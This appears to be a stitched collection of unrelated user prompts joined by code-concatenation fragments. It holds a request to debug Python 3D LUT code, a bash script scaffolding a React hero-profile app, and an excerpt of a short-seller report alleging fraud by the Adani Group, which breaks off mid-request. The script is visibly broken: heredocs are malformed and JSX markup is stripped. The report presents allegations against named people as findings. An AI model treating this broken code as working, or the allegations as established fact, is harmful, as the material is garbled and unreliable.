Candidate Leaver 08/12/2022 20:24\nI still have more to copy' +'Can you debug the code below:\n\nimport numpy as np\nimport imageio\nimport os\nimport matplotlib.pyplot as plt\nfrom scipy.interpolate import Rbf\nfrom scipy.interpolate import interp1d\nimport scipy.ndimage as ndimage\nfrom scipy.stats import norm\n\ndef get\\_images(image\\_folder):\n images = []\n for image\\_name in os.listdir(image\\_folder):\n image\\_path = os.path.join(image\\_folder, image\\_name)\n with open(image\\_path, \'rb\') as f:\n images.append(imageio.imread(f))\n return images\n\ndef get\\_average\\_rgb(image\\_path):\n image = imageio.imread(image\\_path)\n average\\_rgb = np.mean(image, axis=(0, 1)) / 255\n return average\\_rgb\n\ndef get\\_rgb\\_coordinates(image\\_folder):\n rgb\\_coordinates = []\n for image\\_name in os.listdir(image\\_folder):\n image\\_path = os.path.join(image\\_folder, image\\_name)\n average\\_rgb = get\\_average\\_rgb(image\\_path)\n rgb\\_coordinates.append(average\\_rgb)\n return np.array(rgb\\_coordinates)\n\ndef get\\_curve\\_input\\_output(source\\_channel, target\\_channel):\n source\\_histogram, \\_ = np.histogram(source\\_channel, bins=255, range=(0, 255), density=True)\n target\\_histogram, \\_ = np.histogram(target\\_channel, bins=255, range=(0, 255), density=True)\n cumulative\\_source\\_histogram = np.cumsum(source\\_histogram)\n cumulative\\_target\\_histogram = np.cumsum(target\\_histogram)\n input\\_values = cumulative\\_source\\_histogram \\* 255\n output\\_values = cumulative\\_target\\_histogram \\* 255\n return input\\_values, output\\_values\n\ndef create\\_curve(input\\_values, output\\_values):\n curve = interp1d(input\\_values, output\\_values, bounds\\_error=False, fill\\_value=(output\\_values[0], output\\_values[-1]))\n return curve\n\ndef apply\\_r\\_curve\\_transformation(source\\_grayscale, target\\_grayscale):\n source\\_images = get\\_images(source\\_grayscale)\n target\\_images = get\\_images(target\\_grayscale)\n\n for source\\_image, target\\_image in zip(source\\_images, target\\_images):\n source\\_r\\_channel = source\\_image[..., 0]\n target\\_r\\_channel = target\\_image[..., 0]\n input\\_values, output\\_values = get\\_curve\\_input\\_output(source\\_r\\_channel, target\\_r\\_channel)\n r\\_curve = create\\_curve(input\\_values, output\\_values)\n source\\_image[..., 0] = r\\_curve(source\\_r\\_channel)\n\ndef apply\\_g\\_curve\\_transformation(source\\_grayscale, target\\_grayscale):\n source\\_images = get\\_images(source\\_grayscale)\n target\\_images = get\\_images(target\\_grayscale)\n\n for source\\_image, target\\_image in zip(source\\_images, target\\_images):\n source\\_g\\_channel = source\\_image[..., 1]\n target\\_g\\_channel = target\\_image[..., 1]\n input\\_values, output\\_values = get\\_curve\\_input\\_output(source\\_g\\_channel, target\\_g\\_channel)\n g\\_curve = create\\_curve(input\\_values, output\\_values)\n source\\_image[..., 1] = g\\_curve(source\\_g\\_channel)\n\ndef apply\\_b\\_curve\\_transformation(source\\_grayscale, target\\_grayscale):\n source\\_images = get\\_images(source\\_grayscale)\n target\\_images = get\\_images(target\\_grayscale)\n\n for source\\_image, target\\_image in zip(source\\_images, target\\_images):\n source\\_b\\_channel = source\\_image[..., 2]\n target\\_b\\_channel = target\\_image[..., 2]\n input\\_values, output\\_values = get\\_curve\\_input\\_output(source\\_b\\_channel, target\\_b\\_channel)\n b\\_curve = create\\_curve(input\\_values, output\\_values)\n source\\_image[..., 2] = b\\_curve(source\\_b\\_channel)\n\ndef generate\\_3d\\_lut(source\\_folder, source\\_grayscale, target\\_folder, target\\_grayscale, lut\\_size, epsilon=1e-5, sigma=1, smoothing\\_on=False):\n source\\_rgb\\_coordinates = get\\_rgb\\_coordinates(source\\_folder)\n source\\_gray\\_coordinates = get\\_rgb\\_coordinates(source\\_grayscale)\n target\\_rgb\\_coordinates = get\\_rgb\\_coordinates(target\\_folder)\n target\\_gray\\_coordinates = get\\_rgb\\_coordinates(target\\_grayscale)\n source\\_coordinates = np.concatenate((source\\_rgb\\_coordinates, source\\_gray\\_coordinates), axis=0)\n target\\_coordinates = np.concatenate((target\\_rgb\\_coordinates, target\\_gray\\_coordinates), axis=0)\n\n # Perform 1st order transformation\n target\\_coordinates[:, 0] = apply\\_r\\_curve\\_transformation(source\\_coordinates[:, 0], target\\_coordinates[:, 0])\n target\\_coordinates[:, 1] = apply\\_g\\_curve\\_transformation(source\\_coordinates[:, 1], target\\_coordinates[:, 1])\n target\\_coordinates[:, 2] = apply\\_b\\_curve\\_transformation(source\\_coordinates[:, 2], target\\_coordinates[:, 2])\n\n # Create a 100x100x100 3D grid\n x = np.linspace(0, 1, lut\\_size)\n y = np.linspace(0, 1, lut\\_size)\n z = np.linspace(0, 1, lut\\_size)\n grid\\_x, grid\\_y, grid\\_z = np.meshgrid(x, y, z)\n\n # Flatten the grid for interpolation\n grid\\_x = grid\\_x.flatten()\n grid\\_y = grid\\_y.flatten()\n grid\\_z = grid\\_z.flatten()\n\n # Use the Rbf method for interpolation for red, green, and blue axis\n rbf\\_r = Rbf(source\\_coordinates[:, 0], source\\_coordinates[:, 1], source\\_coordinates[:, 2], target\\_coordinates[:, 0], epsilon=epsilon)\n rbf\\_g = Rbf(source\\_coordinates[:, 0], source\\_coordinates[:, 1], source\\_coordinates[:, 2], target\\_coordinates[:, 1], epsilon=epsilon)\n rbf\\_b = Rbf(source\\_coordinates[:, 0], source\\_coordinates[:, 1], source\\_coordinates[:, 2], target\\_coordinates[:, 2], epsilon=epsilon)\n target\\_rgb\\_values = np.array([rbf\\_r(grid\\_z, grid\\_x, grid\\_y), rbf\\_g(grid\\_z, grid\\_x, grid\\_y), rbf\\_b(grid\\_z, grid\\_x, grid\\_y)]).T\n\n #Guassian Smoothing\n if smoothing\\_on:\n target\\_rgb\\_values = ndimage.gaussian\\_filter(target\\_rgb\\_values, sigma)\n\n # Write LUT to file\n with open(file\\_path, "w") as f:\n f.write(f"# LUT size\\nLUT\\_3D\\_SIZE {lut\\_size}\\n\\n")\n for i, target\\_rgb in enumerate(target\\_rgb\\_values):\n f.write(f"{target\\_rgb[0]:.6f} {target\\_rgb[1]:.6f} {target\\_rgb[2]:.6f}\\n")\n\n #Plot the 3D LUT transformation\n fig = plt.figure()\n ax = fig.add\\_subplot(111, projection=\'3d\')\n ax.scatter(target\\_rgb\\_values[:, 0], target\\_rgb\\_values[:, 1], target\\_rgb\\_values[:, 2], c=\'r\', marker=\'o\')\n plt.show()\n\nsource\\_folder = r"D:\\Users\\Forrest\\Documents\\Python\\3D LUT\\ALEXA\\_INPUT\\COLORX"\ntarget\\_folder = r"D:\\Users\\Forrest\\Documents\\Python\\3D LUT\\FPE\\_TARGET\\COLORX"\n\nsource\\_grayscale = r"D:\\Users\\Forrest\\Documents\\Python\\3D LUT\\ALEXA\\_INPUT\\GRAYSCALEX"\ntarget\\_grayscale = r"D:\\Users\\Forrest\\Documents\\Python\\3D LUT\\FPE\\_TARGET\\GRAYSCALEX"\nfile\\_path = r"D:\\Users\\Forrest\\Documents\\Python\\3D LUT\\RBF\\_LUT\\RBF\\_with\\_Nick.cube"\nlut\\_size = 16\nsmooth\\_set =False\n\ngenerate\\_3d\\_lut(source\\_folder, target\\_folder, lut\\_size)' +"#!/bin/bash\n\n# Create React App with TypeScript template\nnpx create-react-app@latest my-app --template typescript\n\n# Change directory to project root\ncd my-app\n\n# Install required dependencies\nnpm install react-router-dom axios\n\n# Remove unnecessary files\nrm -f src/App.css src/App.test.tsx src/logo.svg src/reportWebVitals.ts\n\n# Create directories and files for components and pages\nmkdir -p src/components/HeroCard src/pages/HeroList src/pages/HeroProfile src/const src/contexts src/helper src/hooks\ntouch src/components/HeroCard/index.ts src/components/HeroCard/style.css src/pages/HeroList/index.ts src/pages/HeroList/style.css src/pages/HeroProfile/index.ts src/pages/HeroProfile/style.css src/const/index.ts src/contexts/index.tsx src/helper/index.tsx src/hooks/index.tsx\n\n# Write code for components and pages\ncat < src/components/HeroCard/index.ts\nimport React from 'react';\nimport { Link } from 'react-router-dom';\nimport style from './style.css';\n\ninterface Props {\n id: number;\n name: string;\n image: string;\n}\n\nconst HeroCard: React.FC = ({ id, name, image }) => {\n return (\n \n \n {name}\n \n );\n};\n\nexport default HeroCard;\nEOF\n\ncat < src/components/HeroCard/style.css\n.heroCard {\n display: inline-block;\n width: 200px;\n margin-right: 16px;\n margin-bottom: 16px;\n text-align: center;\n text-decoration: none;\n}\n\n.image {\n width: 100%;\n height: 200px;\n object-fit: cover;\n}\n\n.name {\n margin-top: 8px;\n font-size: 20px;\n font-weight: bold;\n}\nEOF\n\ncat < src/pages/HeroList/index.ts\nimport React, { useEffect, useState } from 'react';\nimport { Link } from 'react-router-dom';\nimport HeroCard from '../../components/HeroCard';\nimport { getHeroes } from '../../helper';\nimport style from './style.css';\n\nconst HeroList: React.FC = () => {\n const [heroes, setHeroes] = useState([]);\n\n useEffect(() => {\n getHeroes().then((data) => setHeroes(data));\n }, []);\n\n return (\n \n \n {heroes.map(({ id, name, image }) => (\n \n ))}\n \n \n Selected Hero: 1\n\n );\n};\n\nexport default HeroList;\nEOF\n\ncat < src/pages/HeroList/style.css\n.heroListPage {\n display: flex;\n flex-direction: column;\n align-items: center;\n padding-top: 32px;\n}\n\n.heroList {\n display: flex;\n flex-wrap: wrap;\n justify-content: center;\n margin-bottom: 32px;\n}\n\n.selectedHero {\n margin-top: 16px;\n font-size: 24px;\n font-weight: bold;\n color: #fff;\n background-color: #f00;\n padding: 8px 16px;\n border-radius: 4px;\n text-decoration: none;\n}\n\ncat < src/pages/HeroList/style.css\n\nEOF\n\ncat < src/pages/HeroProfile/index.ts\nimport React, { useEffect, useState } from 'react';\nimport { useParams } from 'react-router-dom';\nimport { getHeroProfile } from '../../helper';\nimport style from './style.css';\n\nconst HeroProfile: React.FC = () => {\nconst { heroId } = useParams<{ heroId: string }>();\nconst [profile, setProfile] = useState({});\nconst [points, setPoints] = useState(0);\n\nuseEffect(() => {\ngetHeroProfile(Number(heroId)).then((data) => {\nsetProfile(data);\nsetPoints(data.reduce((sum: number, { point }: any) => sum + point, 0));\n});\n}, [heroId]);\n\nconst handlePointChange = (index: number, delta: number) => {\nconst newProfile = [...profile];\nconst { point, ...rest } = newProfile[index];\nconst newPoint = point + delta;\nif (newPoint >= 0) {\nnewProfile[index] = { point: newPoint, ...rest };\nsetProfile(newProfile);\nsetPoints(points + delta);\n}\n};\n\nconst handleSave = () => {\nconst total = profile.reduce((sum: number, { point }: any) => sum + point, 0);\nif (total === points) {\n// send PATCH request to update hero profile\n} else {\nalert('The sum of points must be the same as the original value.');\n}\n};\n\nreturn (\nSelected Hero: {heroId}\n{profile.map(({ str, int, agi, luk }: any, index: number) => (\n\nSTR\n\n handlePointChange(index, -1)}>-\n{str}\n handlePointChange(index, 1)}>+\n))}\nTotal Points: {points}\n\nSave\n\n);\n};\n\nexport default HeroProfile;\nEOF\n\ncat < src/pages/HeroProfile/style.css\n.heroProfilePage {\ndisplay: flex;\nflex-direction: column;\nalign-items: center;\npadding-top: 32px;\n}\n\n.heroProfile {\ndisplay: flex;\nflex-direction: column;\nalign-items: center;\nborder: 1px solid #ccc;\nborder-radius: 4px;\npadding: 16px;\nmargin-top: 32px;\n}\n\n.stat {\ndisplay: flex;\nalign-items: center;\nmargin-bottom: 16px;\n}\n\n.statName {\nwidth: 80px;\nfont-size: 24px;\nfont-weight: bold;\n}\n\n.statValue {\ndisplay: flex;\nalign-items: center;\nmargin-left: 16px;\nfont-size: 24px;\n}\n\n.statValue button {\nmargin: 0 8px;\nfont-size: 24px;\nfont-weight: bold;\ncolor: #fff;\nbackground-color: #f00;\nborder: none;\nborder-radius: 4px;\npadding: 8px 16px;\nmargin-top: 16px;\ncursor: pointer;\n}\n\ncat < src/pages/HeroProfile/style.css\n\nEOF\ncat < src/const/index.ts\nexport enum API\\_URL {\nHEROES = 'https://hahow-recruit.herokuapp.com/heroes',\nHERO\\_PROFILE = 'https://hahow-recruit.herokuapp.com/heroes/:heroId/profile',\n}\nEOF\n\ncat < src/contexts/index.tsx\nimport React, { createContext, useState } from 'react';\n\ninterface ContextValue {\nselectedHeroId: string;\nsetSelectedHeroId: React.Dispatch>;\n}\n\nexport const AppContext = createContext({\nselectedHeroId: '1',\nsetSelectedHeroId: () => {},\n});\n\nexport const AppContextProvider: React.FC = ({ children }) => {\nconst [selectedHeroId, setSelectedHeroId] = useState('1');\n\nreturn (\n\n{children}\n\n);\n};\nEOF\n\ncat < src/helper/index.tsx\nimport axios from 'axios';\nimport { API\\_URL } from '../const';\n\nexport const getHeroes = async () => {\nconst response = await axios.get(API\\_URL.HEROES);\nreturn response.data;\n};\n\nexport const getHeroProfile = async (heroId: number) => {\nconst url = API\\_URL.HERO\\_PROFILE.replace(':heroId', String(heroId));\nconst response = await axios.get(url);\nreturn response.data;\n};\nEOF\n\ncat < src/hooks/index.tsx\nimport { useContext } from 'react';\nimport { useHistory } from 'react-router-dom';\nimport { AppContext } from '../contexts';\n\nexport const useSelectedHeroId = () => {\nconst { selectedHeroId, setSelectedHeroId } = useContext(AppContext);\nconst history = useHistory();\n\nconst handleSelectedHeroIdChange = (heroId: string) => {\nsetSelectedHeroId(heroId);\nhistory.push(/heroes/${heroId});\n};\n\nreturn { selectedHeroId, handleSelectedHeroIdChange };\n};\nEOF\n\nAdd context provider to App component\nsed -i '' 's//\\n&/' src/App.tsx\necho ' ' >> src/App.tsx\n\nUpdate App component with routing and pages\ncat < src/App.tsx\nimport React from 'react';\nimport { BrowserRouter as Router, Switch, Route } from 'react-router-dom';\nimport HeroList from './pages/HeroList';\nimport HeroProfile from './pages/HeroProfile';\nimport './App.css';\n\nconst App: React.FC = () => {\nreturn (\n\n\n);\n};\n\nexport default App;\nEOF\n\nAdd global styles to index.css\ncat < src/index.css\n\n{\nbox-sizing: border-box;\nmargin: 0;\npadding: 0;\n}\nbody {\nfont-family: Arial, Helvetica, sans-serif;\n}\n\na {\ncolor: inherit;\ntext-decoration: none;\n}\nEOF\n\necho 'Done!'\ncat < src/components/HeroCard/index.tsx\nimport React from 'react';\nimport { Link } from 'react-router-dom';\nimport { useSelectedHeroId } from '../../hooks';\nimport style from './style.css';\n\ninterface Props {\nid: string;\nname: string;\nimage: string;\n}\n\nconst HeroCard: React.FC = ({ id, name, image }) => {\nconst { selectedHeroId, handleSelectedHeroIdChange } = useSelectedHeroId();\n\nreturn (\n handleSelectedHeroIdChange(id)}\n>\n\n{name}\n\n);\n};\n\nexport default HeroCard;\nEOF\n\ncat < src/components/HeroCard/style.css\n.heroCard {\ndisplay: flex;\nflex-direction: column;\nalign-items: center;\nwidth: 200px;\nheight: 300px;\nborder: 1px solid #ccc;\nborder-radius: 4px;\nmargin-right: 16px;\nmargin-bottom: 16px;\npadding: 16px;\ntext-align: center;\ncursor: pointer;\n}\n\n.heroCard:hover {\nbackground-color: #f5f5f5;\n}\n\n.selected {\nborder-color: #f00;\n}\n\n.heroImage {\nwidth: 120px;\nheight: 120px;\nborder-radius: 50%;\nobject-fit: cover;\nmargin-bottom: 16px;\n}\n\n.heroName {\nfont-size: 20px;\nfont-weight: bold;\ntext-overflow: ellipsis;\nwhite-space: nowrap;\noverflow: hidden;\n}\nEOF\n\ncat < src/pages/HeroList/index.tsx\nimport React, { useEffect, useState } from 'react';\nimport { getHeroes } from '../../helper';\nimport HeroCard from '../../components/HeroCard';\nimport style from './style.css';\n\nconst HeroList: React.FC = () => {\nconst [heroes, setHeroes] = useState([]);\n\nuseEffect(() => {\ngetHeroes().then((data) => setHeroes(data));\n}, []);\n\nreturn (\n{heroes.map(({ id, name, image }: any) => (\n\n))}\n);\n};\n\nexport default HeroList;\nEOF\n\ncat < src/pages/HeroList/style.css\n.heroListPage {\ndisplay: flex;\nflex-direction: column;\nalign-items: center;\npadding-top: 32px;\n}\n\n.heroList {\ndisplay: flex;\nflex-wrap: wrap;\njustify-content: center;\nmargin-top: 32px;\n}\n\n@media screen and (max-width: 640px) {\n.heroList {\nflex-direction: column;\n}\n}\nEOF\n\necho 'Done!'\n\ncat < src/pages/HeroProfile/index.tsx\nimport React, { useEffect, useState } from 'react';\nimport { useParams } from 'react-router-dom';\nimport { getHeroProfile } from '../../helper';\nimport { useSelectedHeroId } from '../../hooks';\nimport style from './style.css';\n\ninterface Params {\nheroId: string;\n}\n\nconst HeroProfile: React.FC = () => {\nconst { heroId } = useParams();\nconst [heroProfile, setHeroProfile] = useState({});\nconst { selectedHeroId } = useSelectedHeroId();\n\nuseEffect(() => {\ngetHeroProfile(Number(heroId)).then((data) => setHeroProfile(data));\n}, [heroId]);\n\nconst handleAbilityChange = (abilityName: string, newValue: number) => {\nsetHeroProfile((prevHeroProfile) => ({\n...prevHeroProfile,\nabilities: prevHeroProfile.abilities.map((ability: any) =>\nability.name === abilityName\n? {\n...ability,\nvalue: Math.max(0, Math.min(ability.value + newValue, 99)),\n}\n: ability\n),\n}));\n};\n\nconst remainingPoints =\n10 - heroProfile.abilities?.reduce((sum: number, ability: any) => sum + ability.value, 0);\n\nreturn (\n\n\n{heroProfile.name}\n{heroProfile.abilities?.map(({ id, name, value }: any) => (\n\n{name}\n\n handleAbilityChange(name, -1)}\n>\n-\n\n{value}\n handleAbilityChange(name, 1)}\n>\n+\n\n))}\n\nRemaining Points: {remainingPoints}\n\nSave\n\n);\n};\n\nexport default HeroProfile;\nEOF\n\ncat < src/pages/HeroProfile/style.css\n.heroProfilePage {\ndisplay: flex;\nflex-direction: column;\nalign-items: center;\npadding-top: 32px;\n}\n\n.heroList {\ndisplay: flex;\nflex-wrap: wrap;\njustify-content: center;\nmargin-top: 32px;\n}\n\n.heroProfile {\ndisplay: flex;\nflex-direction: column;\nalign-items: center;\nwidth: 300px;\nborder: 1px solid #ccc;\nborder-radius: 4px;\nmargin-right: 16px;\nmargin-bottom:16px;\npadding: 16px;\ntext-align: center;\n}\n\n.heroImageWrapper {\nwidth: 150px;\nheight: 150px;\nborder-radius: 50%;\noverflow: hidden;\nmargin-bottom: 16px;\n}\n\n.heroImage {\nwidth: 100%;\nheight: 100%;\nobject-fit: cover;\n}\n\n.heroName {\nfont-size: 20px;\nfont-weight: bold;\ntext-overflow: ellipsis;\nwhite-space: nowrap;\noverflow: hidden;\nmargin-bottom: 16px;\n}\n\n.ability {\ndisplay: flex;\njustify-content: space-between;\nmargin-bottom: 8px;\n}\n\n.abilityName {\nfont-size: 16px;\nfont-weight: bold;\n}\n\n.abilityValue {\ndisplay: flex;\nalign-items: center;\njustify-content: center;\n}\n\n.value {\nfont-size: 16px;\nfont-weight: bold;\nmargin: 0 8px;\n}\n\n.button {\nbackground-color: #007bff;\ncolor: #fff;\nborder: none;\nborder-radius: 50%;\nwidth: 24px;\nheight: 24px;\ncursor: pointer;\n}\n\n.button:disabled {\nopacity: 0.5;\ncursor: not-allowed;\n}\n\n.remainingPoints {\nmargin-top: 16px;\nfont-size: 16px;\nfont-weight: bold;\n}\nEOF\n\ncat < src/contexts/SelectedHeroIdContext.tsx\nimport React, { createContext, useContext, useState } from 'react';\n\ninterface SelectedHeroIdContextProps {\nselectedHeroId: string;\nhandleSelectedHeroIdChange: (heroId: string) => void;\n}\n\nconst SelectedHeroIdContext = createContext({\nselectedHeroId: '',\nhandleSelectedHeroIdChange: () => {},\n});\n\nexport const useSelectedHeroId = () => useContext(SelectedHeroIdContext);\n\nexport const SelectedHeroIdProvider: React.FC = ({ children }) => {\nconst [selectedHeroId, setSelectedHeroId] = useState('');\n\nconst handleSelectedHeroIdChange = (heroId: string) => {\nsetSelectedHeroId(heroId);\n};\n\nconst value = {\nselectedHeroId,\nhandleSelectedHeroIdChange,\n};\n\nreturn (\n{children}\n);\n};\nEOF\n\ncat < src/helper/index.tsx\nexport const getHeroes = async () => {\nconst response = await fetch('https://hahow-recruit.herokuapp.com/heroes');\nconst data = await response.json();\nreturn data;\n};\n\nexport const getHeroProfile = async (heroId: number) => {\nconst response = await fetch(https://hahow-recruit.herokuapp.com/heroes/${heroId}/profile);\nconst data = await response.json();\nreturn data;\n};\nEOF\n\ncat < src/hooks/index.tsx\nimport { useContext } from 'react';\nimport { SelectedHeroIdContext } from '../contexts/SelectedHeroIdContext';\n\nexport const useSelectedHeroId = () => useContext(SelectedHeroIdContext);\nEOF\n\necho 'Done!'\n\nnpm install\n\nnpm start" +'Today we reveal the findings of our 2-year investigation, presenting evidence that the INR 17.8 trillion (U.S. $218 billion) Indian conglomerate Adani Group has engaged in a brazen stock manipulation and accounting fraud scheme over the course of decades.\nGautam Adani, Founder and Chairman of the Adani Group, has amassed a net worth of roughly $120 billion, adding over $100 billion in the past 3 years largely through stock price appreciation in the group’s 7 key listed companies, which have spiked an average of 819% in that period.\nOur research involved speaking with dozens of individuals, including former senior executives of the Adani Group, reviewing thousands of documents, and conducting diligence site visits in almost half a dozen countries.\nEven if you ignore the findings of our investigation and take the financials of Adani Group at face value, its 7 key listed companies have 85% downside purely on a fundamental basis owing to sky-high valuations.\nKey listed Adani companies have also taken on substantial debt, including pledging shares of their inflated stock for loans, putting the entire group on precarious financial footing. 5 of 7 key listed companies have reported ‘current ratios’ below 1, indicating near-term liquidity pressure.\nThe group’s very top ranks and 8 of 22 key leaders are Adani family members, a dynamic that places control of the group’s financials and key decisions in the hands of a few. A former executive described the Adani Group as “a family business.”\nThe Adani Group has previously been the focus of 4 major government fraud investigations which have alleged money laundering, theft of taxpayer funds and corruption, totaling an estimated U.S. $17 billion. Adani family members allegedly cooperated to create offshore shell entities in tax-haven jurisdictions like Mauritius, the UAE, and Caribbean Islands, generating forged import/export documentation in an apparent effort to generate fake or illegitimate turnover and to siphon money from the listed companies.\nGautam Adani’s younger brother, Rajesh Adani, was accused by the Directorate of Revenue Intelligence (DRI) of playing a central role in a diamond trading import/export scheme around 2004-2005. The alleged scheme involved the use of offshore shell entities to generate artificial turnover. Rajesh was arrested at least twice over separate allegations of forgery and tax fraud. He was subsequently promoted to serve as Managing Director of Adani Group.\nGautam Adani’s brother-in-law, Samir Vora, was accused by the DRI of being a ringleader of the same diamond trading scam and of repeatedly making false statements to regulators. He was subsequently promoted to Executive Director of the critical Adani Australia division.\nGautam Adani’s elder brother, Vinod Adani, has been described by media as “an elusive figure”. He has regularly been found at the center of the government’s investigations into Adani for his alleged role in managing a network of offshore entities used to facilitate fraud.\nOur research, which included downloading and cataloguing the entire Mauritius corporate registry, has uncovered that Vinod Adani, through several close associates, manages a vast labyrinth of offshore shell entities.\nWe have identified 38 Mauritius shell entities controlled by Vinod Adani or close associates. We have identified entities that are also surreptitiously controlled by Vinod Adani in Cyprus, the UAE, Singapore, and several Caribbean Islands.\nMany of the Vinod Adani-associated entities have no obvious signs of operations, including no reported employees, no independent addresses or phone numbers and no meaningful online presence. Despite this, they have collectively moved billions of dollars into Indian Adani publicly listed and private entities, often without required disclosure of the related party nature of the deals.\nWe have also uncovered rudimentary efforts seemingly designed to mask the nature of some of the shell entities. For example, 13 websites were created for Vinod Adani-associated entities; many were suspiciously formed on the same days, featuring only stock photos, naming no actual employees and listing the same set of nonsensical services, such as “consumption abroad” and “commercial presence”.\nThe Vinod-Adani shells seem to serve several functions, including (1) stock parking / stock manipulation (2) and laundering money through Adani’s private companies onto the listed companies’ balance sheets in order to maintain the appearance of financial health and solvency.\nPublicly listed companies in India are subject to rules that require all promoter holdings (known as insider holdings in the U.S.) to be disclosed. Rules also require that listed companies have at least 25% of the float held by non-promoters in order to mitigate manipulation and insider trading. 4 of Adani’s listed companies are on the brink of the delisting threshold due to high promoter ownership.\nOur research indicates that offshore shells and funds tied to the Adani Group comprise many of the largest “public” (i.e., non-promoter) holders of Adani stock, an issue that would subject the Adani companies to delisting, were Indian securities regulator SEBI’s rules enforced.\nMany of the supposed “public” funds exhibit flagrant irregularities such as being (1) Mauritius or offshore-based entities, often shells (2) with beneficial ownership concealed via nominee directors (3) and with little to no diversification, holding portfolios almost exclusively consisting of shares in Adani listed companies.\nRight to Information (RTI) requests we filed with SEBI confirm that the offshore funds are the subjects of an ongoing investigation, more than a year-and-a-half after concerns were initially raised by media and members of parliament.\nA former trader for Elara, an offshore fund with almost $3 billion in concentrated holdings of Adani shares, including a fund that is ~99% concentrated in shares of Adani, told us that it is obvious that Adani controls the shares. He explained that the funds are intentionally structured to conceal their ultimate beneficial ownership.\nLeaked emails show that the CEO of Elara worked on deals with Dharmesh Doshi, a fugitive accountant who worked closely on stock manipulation deals with Ketan Parekh, an infamous Indian market manipulator. The emails indicate that the CEO of Elara worked with Doshi on stock deals after he evaded arrest and was widely known as a fugitive.\nAnother firm called Monterosa Investment Holdings controls 5 supposedly independent funds that collectively hold over INR 360 billion (U.S. $4.5 billion) in shares of listed Adani companies, according to Legal Entity Identifier (LEI) data and Indian exchange data.\nMonterosa’s Chairman and CEO served as director in 3 companies alongside a fugitive diamond merchant who allegedly stole U.S. $1 billion before fleeing India. Vinod Adani’s daughter married the fugitive diamond merchant’s son.\nA once-related party entity of Adani invested heavily in one of the Monterosa funds that allocated to Adani Enterprises and Adani Power, according to corporate records, drawing a clear line between the Adani Group and the suspect offshore funds.\nAnother Cyprus-based entity called New Leaina Investments until June-September 2021 owned over U.S. $420 million in Adani Green Energy shares, comprising ~95% of its portfolio. Parliamentary records show it was (and may still be) a shareholder of other Adani listed entities.\nNew Leaina is operated by incorporation services firm Amicorp, which has worked extensively to aid Adani in developing its offshore entity network. Amicorp formed at least 7 Adani promoter entities, at least 17 offshore shells and entities associated with Vinod Adani, and at least 3 Mauritius-based offshore shareholders of Adani stock.\nAmicorp played a key role in the 1MDB international fraud scandal that resulted in U.S. $4.5 billion being siphoned from Malaysian taxpayers. Amicorp established ‘investment funds’ for the key perpetrators that were “simply a way to wash a client’s money through what looked like a mutual fund”, according to the book Billion Dollar Whale, which reported on the scandal.\n‘Delivery volume’ is a unique daily data point that reports institutional investment flows. Our analysis found that offshore suspected stock parking entities accounted for up to 30%-47% of yearly ‘delivery volume’ in several Adani listed companies, a flagrant irregularity indicating that Adani stocks have likely been subject to ‘wash trading’ or other forms of manipulative trading via the suspect offshore entities.\nEvidence of stock manipulation in Adani listed companies shouldn’t come as a surprise. SEBI has investigated and prosecuted more than 70 entities and individuals over the years, including Adani promoters, for pumping Adani Enterprises’ stock.\nA 2007 SEBI ruling stated that “the charges leveled against promoters of Adani that they aided and abetted Ketan Parekh entities in manipulating the scrip of Adani stand proved”. Ketan Parekh is perhaps India’s most notorious stock market manipulator. Adani Group entities originally received bans for their roles, but those were later reduced to fines, a show of government leniency toward the Group that has become a decades-long pattern.\nPer the 2007 investigation, 14 Adani private entities transferred shares to entities controlled by Parekh, who then engaged in blatant market manipulation. Adani Group responded to SEBI by arguing that it had dealt with Ketan Parekh to finance the start of its operations at Mundra port, seemingly suggesting that share sales via stock manipulation somehow constitutes a legitimate form of financing.\nAs part of our investigation, we interviewed an individual who was banned from trading on Indian markets for stock manipulation via Mauritius-based funds. He told us that he knew Ketan Parekh personally, and that little has changed, explaining “all the previous clients are still loyal to Ketan and are still working with Ketan”.\nIn addition to using offshore capital to park stock, we found numerous examples of offshore shells sending money through onshore private Adani companies onto listed public Adani companies.\nThe funds then seem to be used to engineer Adani’s accounting (whether by bolstering its reported profit or cash flows), cushioning its capital balances in order to make listed entities appear more creditworthy, or simply moved back out to other parts of the Adani empire where capital is needed.\nWe also identified numerous undisclosed related party transactions by both listed and private companies, seemingly an open and repeated violation of Indian disclosure laws.\nIn one instance, a Vinod Adani-controlled Mauritius entity with no signs of substantive operations lent INR 11.71 billion (U.S. ~$253 million at that time) to a private Adani entity which did not disclose it as being a related party loan. The private entity subsequently lent funds to listed entities, including INR 9.84 billion (U.S. $138 million at more recent substantially lower exchange rates) to Adani Enterprises.\nAnother Vinod Adani-controlled UAE entity called Emerging Market Investment DMCC lists no employees on LinkedIn, has no substantive online presence, has announced no clients or deals, and is based out of an apartment in the UAE. It lent U.S. $1 billion to an Adani Power subsidiary.\nThis offshore shell network also seems to be used for earnings manipulation. For example, we detail a series of transactions where assets were transferred from a subsidiary of listed Adani Enterprises to a private Singaporean entity controlled by Vinod Adani, without disclosure of the related party nature of these deals. Once on the books of the private entity, the assets were almost immediately impaired, likely helping the public entity avoid a material write-down and negative impact to net income.\nAdani Group’s obvious accounting irregularities and sketchy dealings seem to be enabled by virtually non-existent financial controls. Listed Adani companies have seen sustained turnover in the Chief Financial Officer role. For example, Adani Enterprises has had 5 chief financial officers over the course of 8 years, a key red flag indicating potential accounting issues.\nThe independent auditor for Adani Enterprises and Adani Total Gas is a tiny firm called Shah Dhandharia. Shah Dhandharia seems to have no current website. Historical archives of its website show that it had only 4 partners and 11 employees. Records show it pays INR 32,000 (U.S. $435 in 2021) in monthly office rent. The only other listed entity we found that it audits has a market capitalization of about INR 640 million (U.S. $7.8 million).\nShah Dhandharia hardly seems capable of complex audit work. Adani Enterprises alone has 156 subsidiaries and many more joint ventures and affiliates, for example. Further, Adani’s 7 key listed entities collectively have 578 subsidiaries and have engaged in a total of 6,025 separate related-party transactions in fiscal year 2022 alone, per BSE disclosures.\nThe audit partners at Shah Dhandharia who respectively signed off on Adani Enterprises and Adani Total Gas’ annual audits were as young as 24 and 23 years old when they began approving the audits. They were essentially fresh out of school, hardly in a position to scrutinize and hold to account the financials of some of the largest companies in the country, run by one of its most powerful individuals.\nGautam Adani has claimed in an interview to “have a very open mind towards criticism…Every criticism gives me an opportunity to improve myself.” Despite these claims, Adani has repeatedly sought to have critical journalists or commentators jailed or silenced through litigation, using his immense power to pressure the government and regulators to pursue those who question him.\nWe believe the Adani Group has been able to operate a large, flagrant fraud in broad daylight in large part because investors, journalists, citizens and even politicians have been afraid to speak out for fear of reprisal.\nWe have included 88 questions in the conclusion of our report. If Gautam Adani truly embraces transparency, as he claims, they should be easy questions to answer. We look forward to Adani’s response\n\nsummarise in a way that when I look back at it in 